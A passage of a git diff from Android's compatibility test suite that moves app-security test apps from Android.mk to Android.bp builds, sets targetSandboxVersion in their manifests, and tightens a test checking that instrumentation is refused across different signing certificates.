+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsInstantUpgradeApp",
+    defaults: ["cts_support_defaults"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "cts-aia-util",
+        "androidx.test.rules",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+    min_sdk_version: "25",
+}
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
deleted file mode 100644
index be0752a..0000000
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-aia-util \
-    androidx.test.rules \
-    ctsdeviceutillegacy-axt \
-    ctstestrunner-axt
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsInstantUpgradeApp
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
new file mode 100644
index 0000000..2a8b244
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsInstrumentationAppDiffCert",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    libs: ["android.test.base.stubs"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with different cert than CtsTargetInstrumentationApp
+    certificate: ":cts-testkey2",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
deleted file mode 100644
index a977416..0000000
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_PACKAGE_NAME := CtsInstrumentationAppDiffCert
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with different cert than CtsTargetInstrumentationApp
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml
index 49c10da..abcc14e 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.instrumentationdiffcertapp">
+       package="com.android.cts.instrumentationdiffcertapp"
+       android:targetSandboxVersion="2">
 
     <!--
     A simple app to test that an instrumentation cannot target an app signed with a different
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/src/com/android/cts/instrumentationdiffcertapp/InstrumentationFailToRunTest.java b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/src/com/android/cts/instrumentationdiffcertapp/InstrumentationFailToRunTest.java
index 9c320d9..4cdaf55 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/src/com/android/cts/instrumentationdiffcertapp/InstrumentationFailToRunTest.java
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/src/com/android/cts/instrumentationdiffcertapp/InstrumentationFailToRunTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.instrumentationdiffcertapp;
 
+import static org.junit.Assert.assertFalse;
+
 import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
@@ -27,18 +29,27 @@
  */
 public class InstrumentationFailToRunTest extends InstrumentationTestCase {
 
-    public void testInstrumentationNotAllowed() {
-        Context myContext = getInstrumentation().getContext();
+    public void testInstrumentationNotAllowed_exception() {
+        final Context myContext = getInstrumentation().getContext();
         // assumes android.app.Instrumentation has been defined in this app's AndroidManifest.xml
         // as targeting an app with a different cert
-        ComponentName appDiffCertInstrumentation = new ComponentName(myContext,
-                Instrumentation.class);
+        final ComponentName appDiffCertInstrumentation =
+                new ComponentName(myContext, Instrumentation.class);
         try {
-            getInstrumentation().getContext().startInstrumentation(appDiffCertInstrumentation,
-                null, new Bundle());
-            fail("could launch instrumentation");
-        } catch (SecurityException e) {
-            // expected
+            assertFalse("instrumentation started",
+                    myContext.startInstrumentation(appDiffCertInstrumentation, null, new Bundle()));
+            fail("SecurityException not thrown");
+        } catch (SecurityException expected) {
         }
     }
+
+    public void testInstrumentationNotAllowed_fail() {
+        final Context myContext = getInstrumentation().getContext();
+        // assumes android.app.Instrumentation has been defined in this app's AndroidManifest.xml
+        // as targeting an app with a different cert
+        final ComponentName appDiffCertInstrumentation =
+                new ComponentName(myContext, Instrumentation.class);
+        assertFalse("instrumentation started",
+                myContext.startInstrumentation(appDiffCertInstrumentation, null, new Bundle()));
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
index 50c1a4d..6fab412 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
@@ -16,7 +16,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="com.android.cts.isolatedsplitapp"
-    android:isolatedSplits="true">
+    android:isolatedSplits="true"
+    android:targetSandboxVersion="2">
 
     <application android:label="IsolatedSplitApp">
 
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
index 958b8d0..d9ca271 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -16,7 +16,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.isolatedsplitapp.feature_a"
-        featureSplit="feature_a">
+        featureSplit="feature_a"
+        android:targetSandboxVersion="2">
 
     <application>
         <activity android:name=".FeatureAActivity">
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
index d89a1f2..8b4f16d 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -16,7 +16,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.isolatedsplitapp.feature_b"
-        featureSplit="feature_b">
+        featureSplit="feature_b"
+        android:targetSandboxVersion="2">
 
     <uses-split android:name="feature_a" />
 
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
index 64b087c..012543b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -16,7 +16,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.isolatedsplitapp.feature_c"
-        featureSplit="feature_c">
+        featureSplit="feature_c"
+        android:targetSandboxVersion="2">
 
     <application>
         <activity android:name=".FeatureCActivity">
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Android.mk
deleted file mode 100644
index 6047ca5..0000000
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
new file mode 100644
index 0000000..10d6066
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMajorVersion000000000000ffff",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsMajorVersionCommon",
+    ],
+    static_libs: ["androidx.test.rules"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsSimpleAppInstallDiffCert
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
deleted file mode 100644
index a064696..0000000
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsMajorVersion000000000000ffff
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsSimpleAppInstallDiffCert
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
index 7469dfa..0e8716b 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
@@ -15,8 +15,9 @@
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.majorversion"
-        android:versionCodeMajor="0x00000000" android:versionCode="0x0000ffff">
-
+        android:versionCodeMajor="0x00000000" android:versionCode="0x0000ffff"
+        android:targetSandboxVersion="2">
+  
     <application/>
 
     <instrumentation
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
new file mode 100644
index 0000000..088a757
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMajorVersion00000000ffffffff",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsMajorVersionCommon",
+    ],
+    static_libs: ["androidx.test.rules"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsSimpleAppInstallDiffCert
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
deleted file mode 100644
index b5e5ceb..0000000
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsMajorVersion00000000ffffffff
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsSimpleAppInstallDiffCert
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
index ab9fc9e..9a9ca9a 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
@@ -15,8 +15,9 @@
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.majorversion"
-        android:versionCodeMajor="0x00000000" android:versionCode="0xffffffff">
-
+        android:versionCodeMajor="0x00000000" android:versionCode="0xffffffff"
+        android:targetSandboxVersion="2">
+  
     <application/>
 
     <instrumentation
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
new file mode 100644
index 0000000..3df84e4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMajorVersion000000ff00000000",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsMajorVersionCommon",
+    ],
+    static_libs: ["androidx.test.rules"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsSimpleAppInstallDiffCert
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
deleted file mode 100644
index d6117a9..0000000
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsMajorVersion000000ff00000000
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsSimpleAppInstallDiffCert
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
index 1cafa92..da58d4a 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
@@ -15,8 +15,9 @@
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.majorversion"
-        android:versionCodeMajor="0x000000ff" android:versionCode="0x00000000">
-
+        android:versionCodeMajor="0x000000ff" android:versionCode="0x00000000"
+        android:targetSandboxVersion="2">
+  
     <application/>
 
     <instrumentation
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
new file mode 100644
index 0000000..7ba4d73
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMajorVersion000000ffffffffff",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsMajorVersionCommon",
+    ],
+    static_libs: ["androidx.test.rules"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsSimpleAppInstallDiffCert
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
deleted file mode 100644
index 0f80843..0000000
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsMajorVersion000000ffffffffff
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsSimpleAppInstallDiffCert
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
index 24a6d63..fbc9781 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
@@ -15,7 +15,8 @@
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.majorversion"
-        android:versionCodeMajor="0x000000ff" android:versionCode="0xffffffff">
+        android:versionCodeMajor="0x000000ff" android:versionCode="0xffffffff"
+        android:targetSandboxVersion="2">
 
     <application/>
 
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
new file mode 100644
index 0000000..fa94e20
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
@@ -0,0 +1,4 @@
+filegroup {
+    name: "CtsMajorVersionCommon",
+    srcs: ["**/*.java"],
+}
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
new file mode 100644
index 0000000..7dfd802
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMultiUserStorageApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.rules",
+        "CtsExternalStorageTestLib",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
deleted file mode 100644
index a5807f0..0000000
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
-
-LOCAL_PACKAGE_NAME := CtsMultiUserStorageApp
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
